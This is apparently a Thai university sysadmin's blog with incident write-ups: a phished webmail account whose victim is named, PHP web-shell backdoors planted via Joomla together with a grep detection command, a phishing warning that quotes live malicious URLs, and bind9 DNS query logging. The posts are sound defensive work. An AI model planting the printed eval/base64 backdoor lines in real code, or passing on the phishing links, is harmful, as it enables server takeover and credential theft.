Category: System Monitoring

  • การตรวจสอบหา User ที่โดนหลอกเอา Password บน เว็บเมล์

    วันก่อนได้รับจดหมายแจ้งเตือนว่า กำลังจะทำการปรับปรุงฐานข้อมูล email และจะทำการลบบัญชีที่ไม่ได้ใช้งาน เพื่อขยายพื้นที่ให้กับผู้ใช้รายใหม่ เพื่อเป็นการยืนยันว่าท่านยังมีการใช้งานอยู่โปรดกรอกข้อมูลตาม url ด้านล่าง มิเช่นนั้นบัญชีของท่านจะถูกลบ เมื่อคลิกเข้าไปดูตาม url ก็พบว่ามีช่องให้กรอกข้อมูล ชื่อผู้ใช้ และรหัสผ่าน แหมเจอแบบนี้ถ้าเป็นคนในวงการก็จะรู้ว่าหลอกลวงแน่นอน แต่ก็ยังมีผู้ใช้ที่รู้เท่าไม่ถึงการณ์หลงเชื่อ (จากประสบการณ์จะพบว่าผู้ใช้ทีหลงเชื่อโดยส่วนใหญ่จะเก่งภาษาอังกฤษหรือเป็นชาวต่างชาติครับ)

    Screenshot-1

    เมื่อลองตรวจดูที่ header ทั้งหมดของจดหมายดังกล่าวเพื่อหาว่าต้นตอของจดหมายถูกส่งมาจากที่ใด ก็พบว่าถูกส่งมาจาก 199.83.103.141 ซึ่งเมือตรวจสอบต่อไปก็พบว่าเป็น ip address ที่อยู่ในประเทศสหรัฐอเมริกา

    Screenshot-2

     ก็เลยชักสงสัยแล้วว่าผู้ใช้รายใดกันที่ส่งอีเมล์ฉบับนี้มากจากอเมริกา ก็เลยตรวจสอบจาก log ของเว็บเมล์เพื่อหาดูกิจกรรมของหมายเลข ip ดังกล่าว ก็พบว่า มีผู้ใช้รายหนึ่ง (จากรูปด้าล่างคื sophita.t) ได้ทำการ login โดยใช้ ip ดังกล่าวครับ ดังรูป

    Screenshot-3

    ตรวจสอบใน log ต่อไปก็พบว่า ip นี้มีการส่งจดหมายดังกล่าวจริง

    Screenshot-4

    เมือตรวจสอบไปยังผู้ใช้เจ้าของบัญชีดังกล่าวว่าช่วงเวลาที่มีการส่งจดหมายหลอกลวงดังกล่าว ได้อยู่ที่อเมริกาหรือเปล่า ก็ได้คำตอบว่าอยุ่เมืองไทยตลอดจะมีไป ตปท. บ้างก็คงไปจีนแต่ไม่ใช่ช่วงดงกล่าว จึงเป็นที่แน่ชัดว่าถูกขโมยรหัสผ่านแน่นอน แถมยังใช้ในการส่ง SPAM เพื่อหวังหลอกเอารหัสผ่านผู้ใช้รายอื่นๆ อีก

    ขั้นแรกจึงได้ทำการปิดกั้นการเข้าถึงไปยังเว็บไซต์ที่หลอกลวงให้กรอกข้อมูลผู้ใช้ก่อน จากนั้นจึงได้ทำการแจ้งเตือนผู้ใช้อื่นๆ แล้วจึงทำการ reset รหัสผ่านผู้ใช้ที่โดนขโมยรหัสผ่าน

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #2

    ต่อจาก “วิธีตรวจสอบเว็บไซต์ที่โดน Hack #1” ซึ่งเป็นวิธีการตรวจสอบ จาก วันเวลา ของไฟล์ที่ตรวจสอบพบว่า ถูกนำมาวาง จากช่องโหว่ของ Joomla

    แต่เมื่อตรวจสอบลึกลงไป โดยตรวจสอบ ไฟล์ที่เอามาวางไว้ พบว่ามีรูปแบบหลากหลาย *** แต่มีวิธีการเดียวกัน*** นั่นคือ การใช้ eval และ base64_decode ทั้งสิ้น

    ตัวอย่างที่ 1:

    sample1

     

    จะเห็นได้ว่า hacker เขียนไฟล์ดังกล่าว แล้วสร้างตัวแปรว่า $code ในนั้นเป็น Code ซึ่ง “เข้ารหัสแบบ Base64 แล้ว gzip เอาไว้” เพื่อไม่ให้เราตรวจสอบได้ง่ายๆ

    จากนั้น จึงใช้คำสั่ง

    eval(gzinflate(base64_decode($code)))

    ซึ่งจะ decode ข้อความแบบ Base64 ก่อน แล้วค่อย unzip ออกไปอีกที … ซับซ้อน
    ก็จะทำให้ hacker สามารถใช้ code นั้นๆ มาทำอะไรต่อมิอะไรในเครื่อง web server เราได้

     

    ตัวอย่างที่ 2:

    sample2

    ใช้วิธีไปเขียนไฟล์ ของ Joomla โดยตรง (contact.php) ซึ่งพื้นที่ดังกล่าว เปิดให้ apache เขียนได้ และมีที่เปิด Permission เป็น 777 จึงทำให้ apache เขียนได้เช่นกัน

    โดยในตัวอย่างนี้ ใช้วิธีเขียนไว้ที่บรรทัดแรกของไฟล์ และใช้คำสั่ง

    eval(base64_decode($_REQUEST['c_id']))

    ต่างจากตัวอย่างที่ 1 ตรงที่ แทนที่จะฝัง Code ไว้ในไฟล์ ก็ใช้วิธีส่ง Code ผ่านทาง Action “POST” ของ HTTP มา (ในภาษา PHP ตัวแปรที่รับค่าจาก HTTP เข้ามามีได้ทั้ง GET, POST และ REQUEST ซึ่งตัว REQUEST ดังกล่าว สามารถรับได้ทั้งแบบ GET และ POST)

    ถ้าเฝ้าดูใน log ไฟล์ ก็จะเห็นรูปแบบดังนี้

    216.239.45.67 - - [24/Apr/2013:08:22:41 +0700] "GET /language/settings.class.php HTTP/1.1" 200 197 "-" "Python-urllib/2.7"
    202.46.129.104 - - [24/Apr/2013:08:23:02 +0700] "POST /language/settings.class.php HTTP/1.1" 200 497 "-" "Mozilla/5.0 Firefox/3.6.12"
    61.152.116.103 - - [24/Apr/2013:08:35:08 +0700] "POST /language/settings.class.php HTTP/1.1" 200 197 "-" "Mozilla/5.0 Firefox/3.6.12"
    62.193.237.22 - - [24/Apr/2013:08:51:35 +0700] "POST /language/settings.class.php HTTP/1.1" 200 211 "-" "Mozilla/5.0 Firefox/3.6.12"
    200.198.186.38 - - [24/Apr/2013:08:56:29 +0700] "POST /language/settings.class.php HTTP/1.1" 200 197 "-" "Mozilla/5.0 Firefox/3.6.12"
    31.196.4.41 - - [24/Apr/2013:08:56:32 +0700] "POST /language/settings.class.php HTTP/1.1" 200 197 "-" "Mozilla/5.0 Firefox/3.6.12"
    203.172.251.84 - - [24/Apr/2013:08:57:27 +0700] "POST /language/settings.class.php HTTP/1.1" 200 211 "-" "Mozilla/5.0 Firefox/3.6.12"
    61.152.116.103 - - [24/Apr/2013:09:02:13 +0700] "POST /language/settings.class.php HTTP/1.1" 200 197 "-" "Mozilla/5.0 Firefox/3.6.12"
    61.152.116.103 - - [24/Apr/2013:09:22:22 +0700] "POST /language/settings.class.php HTTP/1.1" 200 197 "-" "Mozilla/5.0 Firefox/3.6.12"
    77.246.145.52 - - [24/Apr/2013:09:46:32 +0700] "POST /language/settings.class.php HTTP/1.1" 200 211 "-" "Mozilla/5.0 Firefox/3.6.12"
    61.152.116.103 - - [24/Apr/2013:09:51:14 +0700] "POST /language/settings.class.php HTTP/1.1" 200 197 "-" "Mozilla/5.0 Firefox/3.6.12"
    122.155.13.146 - - [24/Apr/2013:09:53:19 +0700] "POST /language/settings.class.php HTTP/1.1" 200 211 "-" "Mozilla/5.0 Firefox/3.6.12"
    61.152.116.103 - - [24/Apr/2013:09:56:22 +0700] "POST /language/settings.class.php HTTP/1.1" 200 197 "-" "Mozilla/5.0 Firefox/3.6.12"
    203.172.179.246 - - [24/Apr/2013:10:08:05 +0700] "POST /language/settings.class.php HTTP/1.1" 200 211 "-" "Mozilla/5.0 Firefox/3.6.12"
    61.152.116.103 - - [24/Apr/2013:10:17:13 +0700] "POST /language/settings.class.php HTTP/1.1" 200 226 "-" "Mozilla/5.0 Firefox/3.6.12"
    118.127.4.170 - - [24/Apr/2013:10:32:10 +0700] "POST /language/settings.class.php HTTP/1.1" 200 211 "-" "Mozilla/5.0 Firefox/3.6.12"
    61.152.116.103 - - [24/Apr/2013:10:53:42 +0700] "POST /language/settings.class.php HTTP/1.1" 200 211 "-" "Mozilla/5.0 Firefox/3.6.12"
    61.152.116.103 - - [24/Apr/2013:10:53:51 +0700] "POST /language/settings.class.php HTTP/1.1" 200 211 "-" "Mozilla/5.0 Firefox/3.6.12"

    เช่นเดิม เมื่อรับค่าผ่าน GET/POST/REQUEST มาแล้ว ก็จะเอามาผ่าน base64_decode แล้วจะได้ Code มา จากนั้น ส่งให้ eval ทำงานต่อ ก็สามารถใช้งาน Web Server เราทำอะไรก็ได้แล้ว

    ตัวอย่างที่ 3:

    sample3

    ในตอนแรก ก็ยังสงสัยอยู่ว่า ไฟล์นี้ เป็นไฟล์ของระบบหรือไม่ เพราะหน้าตาไม่น่าจะเป็นอันตราย ดูคล้ายๆเป็น Configuration File ธรรมดา

    แต่เมื่อดูให้ดีๆ ก็พบว่ามี

    eval(base64_decode($_REQUEST['c_id']))

    อีกแล้ว ซึ่งวิธีการใช้งาน ก็แบบเดียวกับตัวอย่างที่ 2

    UPDATE !!!

    แบบที่ไม่ใช่ eval ก็มีนะ

    new-backdoor

    วิธีการตรวจสอบ

    ให้ใช้คำสั่งต่อไปนี้

    find ./ -name "*.php" -exec egrep -l "@eval.*base64_decode" {} \;

    เพื่อตรวจสอบ หาไฟล์ที่มีคำว่า eval และ base64_decode อยู่ใกล้ๆกัน หากพบไฟล์เข้าข่ายดังกล่าว แนะนำให้ตรวจสอบอย่างละเอียด และย้ายออกมาจากพื้นที่ website เพื่อตรวจสอบให้แน่ใจอีกครั้งครับ

    นอกจากนั้น ควรตรวจสอบว่า มี Directory ใดบ้าง ที่ www-data หรือ apache (user ของ Web Server) เขียนได้ โดยใช้คำสั่งต่อไปนี้

    find ./ -user www-data -perm -u+w -type d

  • Warning :: spam-20130109

    พบจดหมายหลอกลวง มีเนื้อความประมาณนี้ (แค่นี้จริงๆ — ไม่จำเป็น อย่าได้ตาม link ไปนะครับ)

    http://www.hfh-schule.de/images/perfsedit.php

    เมื่อคลิกแล้ว (ไม่แนะนำให้ทุกท่านทำเช่นนี้ แต่ผมขอทดลองให้ดูเป็นตัวอย่าง) มันจะ detect ว่าเราอยู่ที่ใดในโลก ในตัวอย่างนี้ มันพบว่า IP Address ของผมอยู่ที่ Songkhla

    ก็จะไปยัง website ชื่อ http://workfromyourhome5.com/

    ซึ่งมันจะทำเป็น Phishing Site หน้าตาเหมือนของ CNBC เป๊ะ ดังนี้


    แต่ถ้าสังเกตดีๆ จะเห็นวันที่ update ข่าวนี้เป็น

    Published: Monday, 30 April 2012 | 7:48 AM ET

    แล้วทุก link ในหน้านี้ จะชี้ไปที่

    http://workfromyourhome5.com/go.php

    ซึ่งจะส่งไปยังหน้า page ที่จะหลอกเอาข้อมูลส่วนตัวเราไปครับ ดังนี้

    จึงเรียนมาเพื่อให้ระมัดระวังกันมากๆครับ

  • สร้าง log สำหรับ DNS Query เมื่อใช้ bind9 เป็น DNS Server

    เนื่องจากปัญหาของ DNS Query Brute Force Attack ที่เกิดขึ้นกับ DNS Server บางตัวภายในเครือข่ายของมหาวิทยาลัย สงขลานครินทร์ วิธีการแรกที่ควรจะเอามาใช้ในการที่จะแก้ปัญหานี้ก็คือ “identify your enemy”.

    ใครคือคนที่ส่งคำสั่ง query เข้ามา? query อะไร? และ query บ่อยขนาดใหน?
    หลังจากแยกแยะข้อมูลในส่วนนี้ได้แล้ว เราค่อยตัดสินใจกันต่อว่าจะทำอย่างไรต่อไป

    สำหรับบทความนี้ จะพูดถึง Bind9 เท่านั้น Bind version ต่ำกว่า 9 ยังไม่ได้ทดสอบว่าใช้งานได้หรือเปล่า ส่วน version สูงกว่า 9, ถ้ามีก็น่าจะใช้งานได้ ส่วน DNS Server ตัวอื่นๆ ก็ยังไม่ได้ใช้อย่างจริงจังก็เลยไม่รู้เหมือนกันครับว่าจะจัดการอย่างไร แต่โดยหลักๆแล้วก็เหมือนกันครับ ก็คือ

    สร้าง log แล้วตรวจสอบจาก log

    สำหรับ bind9 ในส่วนของ option configuration จะมี keyword “logging” อยู่ ซึ่งสามารถใช้ระบุการ log ข้อมูลแบบต่างๆได้หลายอย่าง และ หลายรูปแบบมาก ในที่นี้ สมมติ เราสนใจเฉพาะส่วนของการ query นะครับ ก็อาจจะสร้าง config ได้แบบนี้

    logging {
          channel query_logging {
                 file “/var/log/named/query.log”;
                 print-time yes;
          };
          category queries { query_logging; };
    };

    เป็นการสร้าง channel สำหรับ log ขึ้นมาชื่อว่า “query_logging” โดยข้อมูลที่ถูกส่งมาที่ channel นี้จะเก็บลงไว้ในไฟล์ที่ชื่อว่า query.log ซึ่งไฟล์นี้จะเก็บอยู่ใน directory ที่ชื่อว่า /var/log/named

    config ข้างต้นจะเก็บเอาไว้ในไฟล์ /etc/bind/named.conf.options (สำหรับ Debian หรือ Ubuntu)
    โดยเพิ่มต่อท้ายเข้าไป

    ในส่วนของ directory ที่ใช้ในการเก็บ log (/var/log/named) ถ้ายังไม่มีอยู่ ก็ต้องสร้างขึ้นมาใหม่ก่อน และกำหนดให้เป็นของ user ซึ่ง run ตัว named daemon ซึ่งสำหรับบน Debian/Ubuntu จะใช้ user ที่ชื่อว่า bind ดังนั้น สามารถสร้าง diectory ขึ้นมาใช้งานได้โดยใช้คำสั่งดังนี้

    $ sudo mkdir -p /var/log/named
    $ sudo chown bind:bind /var/log/named

    หลังจากแก้ไขไฟล์ /etc/bind/named.conf.options แล้ว เราก็ควรที่จะตรวจสอบก่อนว่า config ไฟล์ที่แก้ไขไปยังอยู่ใน format ที่ถูกต้องก่อนที่จะใช้งาน ซึ่งทำได้โดยการใช้คำสั่ง

    $ sudo named-checkconf /etc/bind/named.conf

    ซึ่งถ้าไม่มีข้อความใดๆแสดงออกมา ก็แสดงว่า config ถูกต้อง เราก็สามารถสั่งให้ named อ่าน config ใหม่เข้าไปใช้ได้ โดยการใช้คำสั่ง

    $ sudo service bind9 reload

    หรือ

    $ sudo rndc reconfig

    หลังจากนั้น ก็สามารถตรวจสอบการทำงานของตัว named server ได้โดยใช้คำสั่ง

    $ host www.mydomain.net localhost

    เปลี่ยน ‘www.mydomain.net’ เป็น host ที่ตัว name server ของเราให้บริการอยู่
    หลังจากนั้นก็ไปตรวจสอบดูว่าในไฟล์ /var/log/named/query.log มีข้อมูลเพิ่มขึ้นมาหรือไม่

    ซึ่งถ้าการ config ทุกอย่างถูกต้อง ก็ควรที่จะมีข้อมูลของการ query เกิดขึ้น
    ตัวอย่างของข้อมูลที่ตัว named จะ log เอาไว้ครับ

    28-Nov-2012 11:54:14.911 client 174.127.97.86#25345: query: isc.org IN ANY +ED (172.30.0.85)
    28-Nov-2012 11:54:15.589 client 174.127.97.86#25345: query: isc.org IN ANY +ED (172.30.0.85)

    ซึ่งในที่นี้ client ที่ส่งคำสั่ง query มาก็คือ 174.127.97.86 โดย server ก็คือ 172.30.0.85 และข้อมูลที่ query ก็คือ isc.org ชนิดของข้อมูลเป็น any (ข้อมูลทั้งหมดเท่าที่มี)

    ในสภาวะที่ตัว Server ของเราถูกโจมตี ขนาดของ query.log ก็จะเพิ่มขึ้นอย่างรวดเร็วมาก
    จากตัวอย่างข้างต้น query ทั้งสองครั้งเกิดขึ้นในช่วงเวลาน้อยกว่า 1 วินาที (ครั้งแรกเวลา 11:54:14, ครั้งถัดมา 11:54:15 ตัวเลข 3 ตัวหลังจุด จะเป็นส่วนย่อยของวินาที)

    เราจะรู้ได้อย่างไรว่า client ตัวใหนบ้างที่กำลังโจมตี server ของเราอยู่ ตัวใหนที่ใช้งานแบบปกติ?
    เราสามารถใช้เครื่องมือบน linux/unix ในการช่วยตรวจสอบได้ครับ โดยการนับ

    $ cat /var/log/named/query.log | cut -f4 -d’ ‘ | cut -f1 -d’#’ | sort | uniq -c | sort -rn | head -20

    ตัวอย่าง output ที่ผมได้จาก server ที่ถูกโจมตีคือ

      18174 178.32.76.101
      10924 64.120.228.188
       5297 194.8.75.57
       4584 37.77.82.161
       1744 72.20.55.30
       1548 88.232.24.58
       1356 216.119.157.90
       1242 69.64.58.160
       1189 5.47.41.41
       1155 128.204.201.22
       1115 5.135.60.245
        872 31.214.144.181
        629 37.59.93.86
        513 88.228.212.44
        467 94.121.242.57
        438 178.32.239.65
        382 37.59.194.200
        343 174.127.92.85
        325 174.127.103.234
        296 88.245.53.247

    ตัวเลขข้างหน้าคือจำนวนครั้ง และตัวเลขข้างหลังคือ ip address ของ client ที่ส่งคำสั่ง query เข้ามาทั้งหมดนี้ query ช้อมูลตัวเดียวกันก็คือ “isc.org” type ANY

    เรารู้ตัวว่าผู้โจมตีเป็นใครแล้ว หลังจากนี้ก็จะเป็นคำถามว่า แล้วจะแก้ปัญหาอย่างไร
    ขอยกไปเป็นบทความหน้าครับ